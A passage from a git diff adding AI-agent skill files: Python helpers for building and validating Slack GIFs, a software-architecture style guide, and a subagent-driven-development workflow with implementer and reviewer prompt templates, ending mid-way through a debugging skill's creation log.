Frame height + color: RGB color tuple (default: white) + + Returns: + PIL Image + """ + return Image.new("RGB", (width, height), color) + + +def draw_circle( + frame: Image.Image, + center: tuple[int, int], + radius: int, + fill_color: Optional[tuple[int, int, int]] = None, + outline_color: Optional[tuple[int, int, int]] = None, + outline_width: int = 1, +) -> Image.Image: + """ + Draw a circle on a frame. + + Args: + frame: PIL Image to draw on + center: (x, y) center position + radius: Circle radius + fill_color: RGB fill color (None for no fill) + outline_color: RGB outline color (None for no outline) + outline_width: Outline width in pixels + + Returns: + Modified frame + """ + draw = ImageDraw.Draw(frame) + x, y = center + bbox = [x - radius, y - radius, x + radius, y + radius] + draw.ellipse(bbox, fill=fill_color, outline=outline_color, width=outline_width) + return frame + + +def draw_text( + frame: Image.Image, + text: str, + position: tuple[int, int], + color: tuple[int, int, int] = (0, 0, 0), + centered: bool = False, +) -> Image.Image: + """ + Draw text on a frame. + + Args: + frame: PIL Image to draw on + text: Text to draw + position: (x, y) position (top-left unless centered=True) + color: RGB text color + centered: If True, center text at position + + Returns: + Modified frame + """ + draw = ImageDraw.Draw(frame) + + # Uses Pillow's default font. + # If the font should be changed for the emoji, add additional logic here. + font = ImageFont.load_default() + + if centered: + bbox = draw.textbbox((0, 0), text, font=font) + text_width = bbox[2] - bbox[0] + text_height = bbox[3] - bbox[1] + x = position[0] - text_width // 2 + y = position[1] - text_height // 2 + position = (x, y) + + draw.text(position, text, fill=color, font=font) + return frame + + +def create_gradient_background( + width: int, + height: int, + top_color: tuple[int, int, int], + bottom_color: tuple[int, int, int], +) -> Image.Image: + """ + Create a vertical gradient background. + + Args: + width: Frame width + height: Frame height + top_color: RGB color at top + bottom_color: RGB color at bottom + + Returns: + PIL Image with gradient + """ + frame = Image.new("RGB", (width, height)) + draw = ImageDraw.Draw(frame) + + # Calculate color step for each row + r1, g1, b1 = top_color + r2, g2, b2 = bottom_color + + for y in range(height): + # Interpolate color + ratio = y / height + r = int(r1 * (1 - ratio) + r2 * ratio) + g = int(g1 * (1 - ratio) + g2 * ratio) + b = int(b1 * (1 - ratio) + b2 * ratio) + + # Draw horizontal line + draw.line([(0, y), (width, y)], fill=(r, g, b)) + + return frame + + +def draw_star( + frame: Image.Image, + center: tuple[int, int], + size: int, + fill_color: tuple[int, int, int], + outline_color: Optional[tuple[int, int, int]] = None, + outline_width: int = 1, +) -> Image.Image: + """ + Draw a 5-pointed star. + + Args: + frame: PIL Image to draw on + center: (x, y) center position + size: Star size (outer radius) + fill_color: RGB fill color + outline_color: RGB outline color (None for no outline) + outline_width: Outline width + + Returns: + Modified frame + """ + import math + + draw = ImageDraw.Draw(frame) + x, y = center + + # Calculate star points + points = [] + for i in range(10): + angle = (i * 36 - 90) * math.pi / 180 # 36 degrees per point, start at top + radius = size if i % 2 == 0 else size * 0.4 # Alternate between outer and inner + px = x + radius * math.cos(angle) + py = y + radius * math.sin(angle) + points.append((px, py)) + + # Draw star + draw.polygon(points, fill=fill_color, outline=outline_color, width=outline_width) + + return frame diff --git a/skills/slack-gif-creator/core/gif_builder.py b/skills/slack-gif-creator/core/gif_builder.py new file mode 100755 index 00000000..5759f144 --- /dev/null +++ b/skills/slack-gif-creator/core/gif_builder.py @@ -0,0 +1,269 @@ +#!/usr/bin/env python3 +""" +GIF Builder - Core module for assembling frames into GIFs optimized for Slack. + +This module provides the main interface for creating GIFs from programmatically +generated frames, with automatic optimization for Slack's requirements. +""" + +from pathlib import Path +from typing import Optional + +import imageio.v3 as imageio +import numpy as np +from PIL import Image + + +class GIFBuilder: + """Builder for creating optimized GIFs from frames.""" + + def __init__(self, width: int = 480, height: int = 480, fps: int = 15): + """ + Initialize GIF builder. + + Args: + width: Frame width in pixels + height: Frame height in pixels + fps: Frames per second + """ + self.width = width + self.height = height + self.fps = fps + self.frames: list[np.ndarray] = [] + + def add_frame(self, frame: np.ndarray | Image.Image): + """ + Add a frame to the GIF. + + Args: + frame: Frame as numpy array or PIL Image (will be converted to RGB) + """ + if isinstance(frame, Image.Image): + frame = np.array(frame.convert("RGB")) + + # Ensure frame is correct size + if frame.shape[:2] != (self.height, self.width): + pil_frame = Image.fromarray(frame) + pil_frame = pil_frame.resize( + (self.width, self.height), Image.Resampling.LANCZOS + ) + frame = np.array(pil_frame) + + self.frames.append(frame) + + def add_frames(self, frames: list[np.ndarray | Image.Image]): + """Add multiple frames at once.""" + for frame in frames: + self.add_frame(frame) + + def optimize_colors( + self, num_colors: int = 128, use_global_palette: bool = True + ) -> list[np.ndarray]: + """ + Reduce colors in all frames using quantization. + + Args: + num_colors: Target number of colors (8-256) + use_global_palette: Use a single palette for all frames (better compression) + + Returns: + List of color-optimized frames + """ + optimized = [] + + if use_global_palette and len(self.frames) > 1: + # Create a global palette from all frames + # Sample frames to build palette + sample_size = min(5, len(self.frames)) + sample_indices = [ + int(i * len(self.frames) / sample_size) for i in range(sample_size) + ] + sample_frames = [self.frames[i] for i in sample_indices] + + # Combine sample frames into a single image for palette generation + # Flatten each frame to get all pixels, then stack them + all_pixels = np.vstack( + [f.reshape(-1, 3) for f in sample_frames] + ) # (total_pixels, 3) + + # Create a properly-shaped RGB image from the pixel data + # We'll make a roughly square image from all the pixels + total_pixels = len(all_pixels) + width = min(512, int(np.sqrt(total_pixels))) # Reasonable width, max 512 + height = (total_pixels + width - 1) // width # Ceiling division + + # Pad if necessary to fill the rectangle + pixels_needed = width * height + if pixels_needed > total_pixels: + padding = np.zeros((pixels_needed - total_pixels, 3), dtype=np.uint8) + all_pixels = np.vstack([all_pixels, padding]) + + # Reshape to proper RGB image format (H, W, 3) + img_array = ( + all_pixels[:pixels_needed].reshape(height, width, 3).astype(np.uint8) + ) + combined_img = Image.fromarray(img_array, mode="RGB") + + # Generate global palette + global_palette = combined_img.quantize(colors=num_colors, method=2) + + # Apply global palette to all frames + for frame in self.frames: + pil_frame = Image.fromarray(frame) + quantized = pil_frame.quantize(palette=global_palette, dither=1) + optimized.append(np.array(quantized.convert("RGB"))) + else: + # Use per-frame quantization + for frame in self.frames: + pil_frame = Image.fromarray(frame) + quantized = pil_frame.quantize(colors=num_colors, method=2, dither=1) + optimized.append(np.array(quantized.convert("RGB"))) + + return optimized + + def deduplicate_frames(self, threshold: float = 0.9995) -> int: + """ + Remove duplicate or near-duplicate consecutive frames. + + Args: + threshold: Similarity threshold (0.0-1.0). Higher = more strict (0.9995 = nearly identical). + Use 0.9995+ to preserve subtle animations, 0.98 for aggressive removal. + + Returns: + Number of frames removed + """ + if len(self.frames) < 2: + return 0 + + deduplicated = [self.frames[0]] + removed_count = 0 + + for i in range(1, len(self.frames)): + # Compare with previous frame + prev_frame = np.array(deduplicated[-1], dtype=np.float32) + curr_frame = np.array(self.frames[i], dtype=np.float32) + + # Calculate similarity (normalized) + diff = np.abs(prev_frame - curr_frame) + similarity = 1.0 - (np.mean(diff) / 255.0) + + # Keep frame if sufficiently different + # High threshold (0.9995+) means only remove nearly identical frames + if similarity < threshold: + deduplicated.append(self.frames[i]) + else: + removed_count += 1 + + self.frames = deduplicated + return removed_count + + def save( + self, + output_path: str | Path, + num_colors: int = 128, + optimize_for_emoji: bool = False, + remove_duplicates: bool = False, + ) -> dict: + """ + Save frames as optimized GIF for Slack. + + Args: + output_path: Where to save the GIF + num_colors: Number of colors to use (fewer = smaller file) + optimize_for_emoji: If True, optimize for emoji size (128x128, fewer colors) + remove_duplicates: If True, remove duplicate consecutive frames (opt-in) + + Returns: + Dictionary with file info (path, size, dimensions, frame_count) + """ + if not self.frames: + raise ValueError("No frames to save. Add frames with add_frame() first.") + + output_path = Path(output_path) + + # Remove duplicate frames to reduce file size + if remove_duplicates: + removed = self.deduplicate_frames(threshold=0.9995) + if removed > 0: + print( + f" Removed {removed} nearly identical frames (preserved subtle animations)" + ) + + # Optimize for emoji if requested + if optimize_for_emoji: + if self.width > 128 or self.height > 128: + print( + f" Resizing from {self.width}x{self.height} to 128x128 for emoji" + ) + self.width = 128 + self.height = 128 + # Resize all frames + resized_frames = [] + for frame in self.frames: + pil_frame = Image.fromarray(frame) + pil_frame = pil_frame.resize((128, 128), Image.Resampling.LANCZOS) + resized_frames.append(np.array(pil_frame)) + self.frames = resized_frames + num_colors = min(num_colors, 48) # More aggressive color limit for emoji + + # More aggressive FPS reduction for emoji + if len(self.frames) > 12: + print( + f" Reducing frames from {len(self.frames)} to ~12 for emoji size" + ) + # Keep every nth frame to get close to 12 frames + keep_every = max(1, len(self.frames) // 12) + self.frames = [ + self.frames[i] for i in range(0, len(self.frames), keep_every) + ] + + # Optimize colors with global palette + optimized_frames = self.optimize_colors(num_colors, use_global_palette=True) + + # Calculate frame duration in milliseconds + frame_duration = 1000 / self.fps + + # Save GIF + imageio.imwrite( + output_path, + optimized_frames, + duration=frame_duration, + loop=0, # Infinite loop + ) + + # Get file info + file_size_kb = output_path.stat().st_size / 1024 + file_size_mb = file_size_kb / 1024 + + info = { + "path": str(output_path), + "size_kb": file_size_kb, + "size_mb": file_size_mb, + "dimensions": f"{self.width}x{self.height}", + "frame_count": len(optimized_frames), + "fps": self.fps, + "duration_seconds": len(optimized_frames) / self.fps, + "colors": num_colors, + } + + # Print info + print(f"\n✓ GIF created successfully!") + print(f" Path: {output_path}") + print(f" Size: {file_size_kb:.1f} KB ({file_size_mb:.2f} MB)") + print(f" Dimensions: {self.width}x{self.height}") + print(f" Frames: {len(optimized_frames)} @ {self.fps} fps") + print(f" Duration: {info['duration_seconds']:.1f}s") + print(f" Colors: {num_colors}") + + # Size info + if optimize_for_emoji: + print(f" Optimized for emoji (128x128, reduced colors)") + if file_size_mb > 1.0: + print(f"\n Note: Large file size ({file_size_kb:.1f} KB)") + print(" Consider: fewer frames, smaller dimensions, or fewer colors") + + return info + + def clear(self): + """Clear all frames (useful for creating multiple GIFs).""" + self.frames = [] diff --git a/skills/slack-gif-creator/core/validators.py b/skills/slack-gif-creator/core/validators.py new file mode 100755 index 00000000..a6f5bdf2 --- /dev/null +++ b/skills/slack-gif-creator/core/validators.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +""" +Validators - Check if GIFs meet Slack's requirements. + +These validators help ensure your GIFs meet Slack's size and dimension constraints. +""" + +from pathlib import Path + + +def validate_gif( + gif_path: str | Path, is_emoji: bool = True, verbose: bool = True +) -> tuple[bool, dict]: + """ + Validate GIF for Slack (dimensions, size, frame count). + + Args: + gif_path: Path to GIF file + is_emoji: True for emoji (128x128 recommended), False for message GIF + verbose: Print validation details + + Returns: + Tuple of (passes: bool, results: dict with all details) + """ + from PIL import Image + + gif_path = Path(gif_path) + + if not gif_path.exists(): + return False, {"error": f"File not found: {gif_path}"} + + # Get file size + size_bytes = gif_path.stat().st_size + size_kb = size_bytes / 1024 + size_mb = size_kb / 1024 + + # Get dimensions and frame info + try: + with Image.open(gif_path) as img: + width, height = img.size + + # Count frames + frame_count = 0 + try: + while True: + img.seek(frame_count) + frame_count += 1 + except EOFError: + pass + + # Get duration + try: + duration_ms = img.info.get("duration", 100) + total_duration = (duration_ms * frame_count) / 1000 + fps = frame_count / total_duration if total_duration > 0 else 0 + except: + total_duration = None + fps = None + + except Exception as e: + return False, {"error": f"Failed to read GIF: {e}"} + + # Validate dimensions + if is_emoji: + optimal = width == height == 128 + acceptable = width == height and 64 <= width <= 128 + dim_pass = acceptable + else: + aspect_ratio = ( + max(width, height) / min(width, height) + if min(width, height) > 0 + else float("inf") + ) + dim_pass = aspect_ratio <= 2.0 and 320 <= min(width, height) <= 640 + + results = { + "file": str(gif_path), + "passes": dim_pass, + "width": width, + "height": height, + "size_kb": size_kb, + "size_mb": size_mb, + "frame_count": frame_count, + "duration_seconds": total_duration, + "fps": fps, + "is_emoji": is_emoji, + "optimal": optimal if is_emoji else None, + } + + # Print if verbose + if verbose: + print(f"\nValidating {gif_path.name}:") + print( + f" Dimensions: {width}x{height}" + + ( + f" ({'optimal' if optimal else 'acceptable'})" + if is_emoji and acceptable + else "" + ) + ) + print( + f" Size: {size_kb:.1f} KB" + + (f" ({size_mb:.2f} MB)" if size_mb >= 1.0 else "") + ) + print( + f" Frames: {frame_count}" + + (f" @ {fps:.1f} fps ({total_duration:.1f}s)" if fps else "") + ) + + if not dim_pass: + print( + f" Note: {'Emoji should be 128x128' if is_emoji else 'Unusual dimensions for Slack'}" + ) + + if size_mb > 5.0: + print(f" Note: Large file size - consider fewer frames/colors") + + return dim_pass, results + + +def is_slack_ready( + gif_path: str | Path, is_emoji: bool = True, verbose: bool = True +) -> bool: + """ + Quick check if GIF is ready for Slack. + + Args: + gif_path: Path to GIF file + is_emoji: True for emoji GIF, False for message GIF + verbose: Print feedback + + Returns: + True if dimensions are acceptable + """ + passes, _ = validate_gif(gif_path, is_emoji, verbose) + return passes diff --git a/skills/slack-gif-creator/requirements.txt b/skills/slack-gif-creator/requirements.txt new file mode 100644 index 00000000..8bc4493e --- /dev/null +++ b/skills/slack-gif-creator/requirements.txt @@ -0,0 +1,4 @@ +pillow>=10.0.0 +imageio>=2.31.0 +imageio-ffmpeg>=0.4.9 +numpy>=1.24.0 \ No newline at end of file diff --git a/skills/software-architecture/SKILL.md b/skills/software-architecture/SKILL.md new file mode 100644 index 00000000..d0514cd2 --- /dev/null +++ b/skills/software-architecture/SKILL.md @@ -0,0 +1,75 @@ +--- +name: software-architecture +description: Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development. +--- + +# Software Architecture Development Skill + +This skill provides guidance for quality focused software development and architecture. It is based on Clean Architecture and Domain Driven Design principles. + +## Code Style Rules + +### General Principles + +- **Early return pattern**: Always use early returns when possible, over nested conditions for better readability +- Avoid code duplication through creation of reusable functions and modules +- Decompose long (more than 80 lines of code) components and functions into multiple smaller components and functions. If they cannot be used anywhere else, keep it in the same file. But if file longer than 200 lines of code, it should be split into multiple files. +- Use arrow functions instead of function declarations when possible + +### Best Practices + +#### Library-First Approach + +- **ALWAYS search for existing solutions before writing custom code** + - Check npm for existing libraries that solve the problem + - Evaluate existing services/SaaS solutions + - Consider third-party APIs for common functionality +- Use libraries instead of writing your own utils or helpers. For example, use `cockatiel` instead of writing your own retry logic. +- **When custom code IS justified:** + - Specific business logic unique to the domain + - Performance-critical paths with special requirements + - When external dependencies would be overkill + - Security-sensitive code requiring full control + - When existing solutions don't meet requirements after thorough evaluation + +#### Architecture and Design + +- **Clean Architecture & DDD Principles:** + - Follow domain-driven design and ubiquitous language + - Separate domain entities from infrastructure concerns + - Keep business logic independent of frameworks + - Define use cases clearly and keep them isolated +- **Naming Conventions:** + - **AVOID** generic names: `utils`, `helpers`, `common`, `shared` + - **USE** domain-specific names: `OrderCalculator`, `UserAuthenticator`, `InvoiceGenerator` + - Follow bounded context naming patterns + - Each module should have a single, clear purpose +- **Separation of Concerns:** + - Do NOT mix business logic with UI components + - Keep database queries out of controllers + - Maintain clear boundaries between contexts + - Ensure proper separation of responsibilities + +#### Anti-Patterns to Avoid + +- **NIH (Not Invented Here) Syndrome:** + - Don't build custom auth when Auth0/Supabase exists + - Don't write custom state management instead of using Redux/Zustand + - Don't create custom form validation instead of using established libraries +- **Poor Architectural Choices:** + - Mixing business logic with UI components + - Database queries directly in controllers + - Lack of clear separation of concerns +- **Generic Naming Anti-Patterns:** + - `utils.js` with 50 unrelated functions + - `helpers/misc.js` as a dumping ground + - `common/shared.js` with unclear purpose +- Remember: Every line of custom code is a liability that needs maintenance, testing, and documentation + +#### Code Quality + +- Proper error handling with typed catch blocks +- Break down complex logic into smaller, reusable functions +- Avoid deep nesting (max 3 levels) +- Keep functions focused and under 50 lines when possible +- Keep files focused and under 200 lines of code when possible diff --git a/skills/subagent-driven-development/SKILL.md b/skills/subagent-driven-development/SKILL.md new file mode 100644 index 00000000..a9a94547 --- /dev/null +++ b/skills/subagent-driven-development/SKILL.md @@ -0,0 +1,240 @@ +--- +name: subagent-driven-development +description: Use when executing implementation plans with independent tasks in the current session +--- + +# Subagent-Driven Development + +Execute plan by dispatching fresh subagent per task, with two-stage review after each: spec compliance review first, then code quality review. + +**Core principle:** Fresh subagent per task + two-stage review (spec then quality) = high quality, fast iteration + +## When to Use + +```dot +digraph when_to_use { + "Have implementation plan?" [shape=diamond]; + "Tasks mostly independent?" [shape=diamond]; + "Stay in this session?" [shape=diamond]; + "subagent-driven-development" [shape=box]; + "executing-plans" [shape=box]; + "Manual execution or brainstorm first" [shape=box]; + + "Have implementation plan?" -> "Tasks mostly independent?" [label="yes"]; + "Have implementation plan?" -> "Manual execution or brainstorm first" [label="no"]; + "Tasks mostly independent?" -> "Stay in this session?" [label="yes"]; + "Tasks mostly independent?" -> "Manual execution or brainstorm first" [label="no - tightly coupled"]; + "Stay in this session?" -> "subagent-driven-development" [label="yes"]; + "Stay in this session?" -> "executing-plans" [label="no - parallel session"]; +} +``` + +**vs. Executing Plans (parallel session):** +- Same session (no context switch) +- Fresh subagent per task (no context pollution) +- Two-stage review after each task: spec compliance first, then code quality +- Faster iteration (no human-in-loop between tasks) + +## The Process + +```dot +digraph process { + rankdir=TB; + + subgraph cluster_per_task { + label="Per Task"; + "Dispatch implementer subagent (./implementer-prompt.md)" [shape=box]; + "Implementer subagent asks questions?" [shape=diamond]; + "Answer questions, provide context" [shape=box]; + "Implementer subagent implements, tests, commits, self-reviews" [shape=box]; + "Dispatch spec reviewer subagent (./spec-reviewer-prompt.md)" [shape=box]; + "Spec reviewer subagent confirms code matches spec?" [shape=diamond]; + "Implementer subagent fixes spec gaps" [shape=box]; + "Dispatch code quality reviewer subagent (./code-quality-reviewer-prompt.md)" [shape=box]; + "Code quality reviewer subagent approves?" [shape=diamond]; + "Implementer subagent fixes quality issues" [shape=box]; + "Mark task complete in TodoWrite" [shape=box]; + } + + "Read plan, extract all tasks with full text, note context, create TodoWrite" [shape=box]; + "More tasks remain?" [shape=diamond]; + "Dispatch final code reviewer subagent for entire implementation" [shape=box]; + "Use superpowers:finishing-a-development-branch" [shape=box style=filled fillcolor=lightgreen]; + + "Read plan, extract all tasks with full text, note context, create TodoWrite" -> "Dispatch implementer subagent (./implementer-prompt.md)"; + "Dispatch implementer subagent (./implementer-prompt.md)" -> "Implementer subagent asks questions?"; + "Implementer subagent asks questions?" -> "Answer questions, provide context" [label="yes"]; + "Answer questions, provide context" -> "Dispatch implementer subagent (./implementer-prompt.md)"; + "Implementer subagent asks questions?" -> "Implementer subagent implements, tests, commits, self-reviews" [label="no"]; + "Implementer subagent implements, tests, commits, self-reviews" -> "Dispatch spec reviewer subagent (./spec-reviewer-prompt.md)"; + "Dispatch spec reviewer subagent (./spec-reviewer-prompt.md)" -> "Spec reviewer subagent confirms code matches spec?"; + "Spec reviewer subagent confirms code matches spec?" -> "Implementer subagent fixes spec gaps" [label="no"]; + "Implementer subagent fixes spec gaps" -> "Dispatch spec reviewer subagent (./spec-reviewer-prompt.md)" [label="re-review"]; + "Spec reviewer subagent confirms code matches spec?" -> "Dispatch code quality reviewer subagent (./code-quality-reviewer-prompt.md)" [label="yes"]; + "Dispatch code quality reviewer subagent (./code-quality-reviewer-prompt.md)" -> "Code quality reviewer subagent approves?"; + "Code quality reviewer subagent approves?" -> "Implementer subagent fixes quality issues" [label="no"]; + "Implementer subagent fixes quality issues" -> "Dispatch code quality reviewer subagent (./code-quality-reviewer-prompt.md)" [label="re-review"]; + "Code quality reviewer subagent approves?" -> "Mark task complete in TodoWrite" [label="yes"]; + "Mark task complete in TodoWrite" -> "More tasks remain?"; + "More tasks remain?" -> "Dispatch implementer subagent (./implementer-prompt.md)" [label="yes"]; + "More tasks remain?" -> "Dispatch final code reviewer subagent for entire implementation" [label="no"]; + "Dispatch final code reviewer subagent for entire implementation" -> "Use superpowers:finishing-a-development-branch"; +} +``` + +## Prompt Templates + +- `./implementer-prompt.md` - Dispatch implementer subagent +- `./spec-reviewer-prompt.md` - Dispatch spec compliance reviewer subagent +- `./code-quality-reviewer-prompt.md` - Dispatch code quality reviewer subagent + +## Example Workflow + +``` +You: I'm using Subagent-Driven Development to execute this plan. + +[Read plan file once: docs/plans/feature-plan.md] +[Extract all 5 tasks with full text and context] +[Create TodoWrite with all tasks] + +Task 1: Hook installation script + +[Get Task 1 text and context (already extracted)] +[Dispatch implementation subagent with full task text + context] + +Implementer: "Before I begin - should the hook be installed at user or system level?" + +You: "User level (~/.config/superpowers/hooks/)" + +Implementer: "Got it. Implementing now..." +[Later] Implementer: + - Implemented install-hook command + - Added tests, 5/5 passing + - Self-review: Found I missed --force flag, added it + - Committed + +[Dispatch spec compliance reviewer] +Spec reviewer: ✅ Spec compliant - all requirements met, nothing extra + +[Get git SHAs, dispatch code quality reviewer] +Code reviewer: Strengths: Good test coverage, clean. Issues: None. Approved. + +[Mark Task 1 complete] + +Task 2: Recovery modes + +[Get Task 2 text and context (already extracted)] +[Dispatch implementation subagent with full task text + context] + +Implementer: [No questions, proceeds] +Implementer: + - Added verify/repair modes + - 8/8 tests passing + - Self-review: All good + - Committed + +[Dispatch spec compliance reviewer] +Spec reviewer: ❌ Issues: + - Missing: Progress reporting (spec says "report every 100 items") + - Extra: Added --json flag (not requested) + +[Implementer fixes issues] +Implementer: Removed --json flag, added progress reporting + +[Spec reviewer reviews again] +Spec reviewer: ✅ Spec compliant now + +[Dispatch code quality reviewer] +Code reviewer: Strengths: Solid. Issues (Important): Magic number (100) + +[Implementer fixes] +Implementer: Extracted PROGRESS_INTERVAL constant + +[Code reviewer reviews again] +Code reviewer: ✅ Approved + +[Mark Task 2 complete] + +... + +[After all tasks] +[Dispatch final code-reviewer] +Final reviewer: All requirements met, ready to merge + +Done! +``` + +## Advantages + +**vs. Manual execution:** +- Subagents follow TDD naturally +- Fresh context per task (no confusion) +- Parallel-safe (subagents don't interfere) +- Subagent can ask questions (before AND during work) + +**vs. Executing Plans:** +- Same session (no handoff) +- Continuous progress (no waiting) +- Review checkpoints automatic + +**Efficiency gains:** +- No file reading overhead (controller provides full text) +- Controller curates exactly what context is needed +- Subagent gets complete information upfront +- Questions surfaced before work begins (not after) + +**Quality gates:** +- Self-review catches issues before handoff +- Two-stage review: spec compliance, then code quality +- Review loops ensure fixes actually work +- Spec compliance prevents over/under-building +- Code quality ensures implementation is well-built + +**Cost:** +- More subagent invocations (implementer + 2 reviewers per task) +- Controller does more prep work (extracting all tasks upfront) +- Review loops add iterations +- But catches issues early (cheaper than debugging later) + +## Red Flags + +**Never:** +- Skip reviews (spec compliance OR code quality) +- Proceed with unfixed issues +- Dispatch multiple implementation subagents in parallel (conflicts) +- Make subagent read plan file (provide full text instead) +- Skip scene-setting context (subagent needs to understand where task fits) +- Ignore subagent questions (answer before letting them proceed) +- Accept "close enough" on spec compliance (spec reviewer found issues = not done) +- Skip review loops (reviewer found issues = implementer fixes = review again) +- Let implementer self-review replace actual review (both are needed) +- **Start code quality review before spec compliance is ✅** (wrong order) +- Move to next task while either review has open issues + +**If subagent asks questions:** +- Answer clearly and completely +- Provide additional context if needed +- Don't rush them into implementation + +**If reviewer finds issues:** +- Implementer (same subagent) fixes them +- Reviewer reviews again +- Repeat until approved +- Don't skip the re-review + +**If subagent fails task:** +- Dispatch fix subagent with specific instructions +- Don't try to fix manually (context pollution) + +## Integration + +**Required workflow skills:** +- **superpowers:writing-plans** - Creates the plan this skill executes +- **superpowers:requesting-code-review** - Code review template for reviewer subagents +- **superpowers:finishing-a-development-branch** - Complete development after all tasks + +**Subagents should use:** +- **superpowers:test-driven-development** - Subagents follow TDD for each task + +**Alternative workflow:** +- **superpowers:executing-plans** - Use for parallel session instead of same-session execution diff --git a/skills/subagent-driven-development/code-quality-reviewer-prompt.md b/skills/subagent-driven-development/code-quality-reviewer-prompt.md new file mode 100644 index 00000000..d029ea29 --- /dev/null +++ b/skills/subagent-driven-development/code-quality-reviewer-prompt.md @@ -0,0 +1,20 @@ +# Code Quality Reviewer Prompt Template + +Use this template when dispatching a code quality reviewer subagent. + +**Purpose:** Verify implementation is well-built (clean, tested, maintainable) + +**Only dispatch after spec compliance review passes.** + +``` +Task tool (superpowers:code-reviewer): + Use template at requesting-code-review/code-reviewer.md + + WHAT_WAS_IMPLEMENTED: [from implementer's report] + PLAN_OR_REQUIREMENTS: Task N from [plan-file] + BASE_SHA: [commit before task] + HEAD_SHA: [current commit] + DESCRIPTION: [task summary] +``` + +**Code reviewer returns:** Strengths, Issues (Critical/Important/Minor), Assessment diff --git a/skills/subagent-driven-development/implementer-prompt.md b/skills/subagent-driven-development/implementer-prompt.md new file mode 100644 index 00000000..db5404b3 --- /dev/null +++ b/skills/subagent-driven-development/implementer-prompt.md @@ -0,0 +1,78 @@ +# Implementer Subagent Prompt Template + +Use this template when dispatching an implementer subagent. + +``` +Task tool (general-purpose): + description: "Implement Task N: [task name]" + prompt: | + You are implementing Task N: [task name] + + ## Task Description + + [FULL TEXT of task from plan - paste it here, don't make subagent read file] + + ## Context + + [Scene-setting: where this fits, dependencies, architectural context] + + ## Before You Begin + + If you have questions about: + - The requirements or acceptance criteria + - The approach or implementation strategy + - Dependencies or assumptions + - Anything unclear in the task description + + **Ask them now.** Raise any concerns before starting work. + + ## Your Job + + Once you're clear on requirements: + 1. Implement exactly what the task specifies + 2. Write tests (following TDD if task says to) + 3. Verify implementation works + 4. Commit your work + 5. Self-review (see below) + 6. Report back + + Work from: [directory] + + **While you work:** If you encounter something unexpected or unclear, **ask questions**. + It's always OK to pause and clarify. Don't guess or make assumptions. + + ## Before Reporting Back: Self-Review + + Review your work with fresh eyes. Ask yourself: + + **Completeness:** + - Did I fully implement everything in the spec? + - Did I miss any requirements? + - Are there edge cases I didn't handle? + + **Quality:** + - Is this my best work? + - Are names clear and accurate (match what things do, not how they work)? + - Is the code clean and maintainable? + + **Discipline:** + - Did I avoid overbuilding (YAGNI)? + - Did I only build what was requested? + - Did I follow existing patterns in the codebase? + + **Testing:** + - Do tests actually verify behavior (not just mock behavior)? + - Did I follow TDD if required? + - Are tests comprehensive? + + If you find issues during self-review, fix them now before reporting. + + ## Report Format + + When done, report: + - What you implemented + - What you tested and test results + - Files changed + - Self-review findings (if any) + - Any issues or concerns +``` diff --git a/skills/subagent-driven-development/spec-reviewer-prompt.md b/skills/subagent-driven-development/spec-reviewer-prompt.md new file mode 100644 index 00000000..ab5ddb8a --- /dev/null +++ b/skills/subagent-driven-development/spec-reviewer-prompt.md @@ -0,0 +1,61 @@ +# Spec Compliance Reviewer Prompt Template + +Use this template when dispatching a spec compliance reviewer subagent. + +**Purpose:** Verify implementer built what was requested (nothing more, nothing less) + +``` +Task tool (general-purpose): + description: "Review spec compliance for Task N" + prompt: | + You are reviewing whether an implementation matches its specification. + + ## What Was Requested + + [FULL TEXT of task requirements] + + ## What Implementer Claims They Built + + [From implementer's report] + + ## CRITICAL: Do Not Trust the Report + + The implementer finished suspiciously quickly. Their report may be incomplete, + inaccurate, or optimistic. You MUST verify everything independently. + + **DO NOT:** + - Take their word for what they implemented + - Trust their claims about completeness + - Accept their interpretation of requirements + + **DO:** + - Read the actual code they wrote + - Compare actual implementation to requirements line by line + - Check for missing pieces they claimed to implement + - Look for extra features they didn't mention + + ## Your Job + + Read the implementation code and verify: + + **Missing requirements:** + - Did they implement everything that was requested? + - Are there requirements they skipped or missed? + - Did they claim something works but didn't actually implement it? + + **Extra/unneeded work:** + - Did they build things that weren't requested? + - Did they over-engineer or add unnecessary features? + - Did they add "nice to haves" that weren't in spec? + + **Misunderstandings:** + - Did they interpret requirements differently than intended? + - Did they solve the wrong problem? + - Did they implement the right feature but wrong way? + + **Verify by reading code, not by trusting report.** + + Report: + - ✅ Spec compliant (if everything matches after code inspection) + - ❌ Issues found: [list specifically what's missing or extra, with file:line references] +``` diff --git a/skills/systematic-debugging/CREATION-LOG.md b/skills/systematic-debugging/CREATION-LOG.md new file mode 100644 index 00000000..024d00a5 --- /dev/null +++ b/skills/systematic-debugging/CREATION-LOG.md @@ -0,0 +1,119 @@ +# Creation Log: Systematic Debugging Skill + +Reference example of extracting, structuring, and bulletproofing a critical skill. + +## Source Material + +Extracted debugging framework from `/Users/jesse/.claude/CLAUDE.md`: +- 4-phase systematic process (Investigation → Pattern Analysis → Hypothesis → Implementation) +- Core mandate: ALWAYS find root cause, NEVER fix symptoms +- Rules designed to resist time pressure and rationalization + +## Extraction Decisions + +**What to include:** +- Complete 4-phase framework with all rules +- Anti-shortcuts ("NEVER fix symptom", "STOP and re-analyze") +- Pressure-resistant language ("even if faster", "even if I seem in a hurry") +- Concrete steps for each phase + +**What to leave out:** +- Project-specific context +- Repetitive variations of same rule +- Narrative explanations (condensed to principles) + +## Structure Following skill-creation/SKILL.md + +1. **Rich when_to_use** - Included symptoms and anti-patterns +2. **Type: technique** - Concrete process with steps +3. **Keywords** - "root cause", "symptom", "workaround", "debugging", "investigation" +4. **Flowchart** - Decision point for "fix failed" → re-analyze vs add more fixes +5. **Phase-by-phase breakdown** - Scannable checklist format +6. **Anti-patterns section** - What NOT to do (critical for this skill) + +## Bulletproofing Elements + +Framework designed to resist rationalization under pressure: + +### Language Choices +- "ALWAYS" / "NEVER" (not "should" / "try to") +- "even if faster" / "even if I seem in a hurry" +- "STOP and re-analyze" (explicit pause) +- "Don't skip past" (catches the actual behavior) + +### Structural Defenses +- **Phase 1 required** - Can't skip to implementation +- **Single hypothesis rule** - Forces thinking, prevents shotgun fixes +- **Explicit failure mode** - "IF your first fix doesn't work" with mandatory action +- **Anti-patterns section** - Shows exactly what shortcuts look like + +### Redundancy +- Root cause mandate in overview + when_to_use + Phase 1 + implementation rules +- "NEVER fix symptom" appears 4 times in different contexts +- Each phase has explicit "don't skip" guidance + +## Testing Approach + +Created 4 validation tests following skills/meta/testing-skills-with-subagents: + +### Test 1: Academic Context (No Pressure) +- Simple bug, no time pressure +- **Result:** 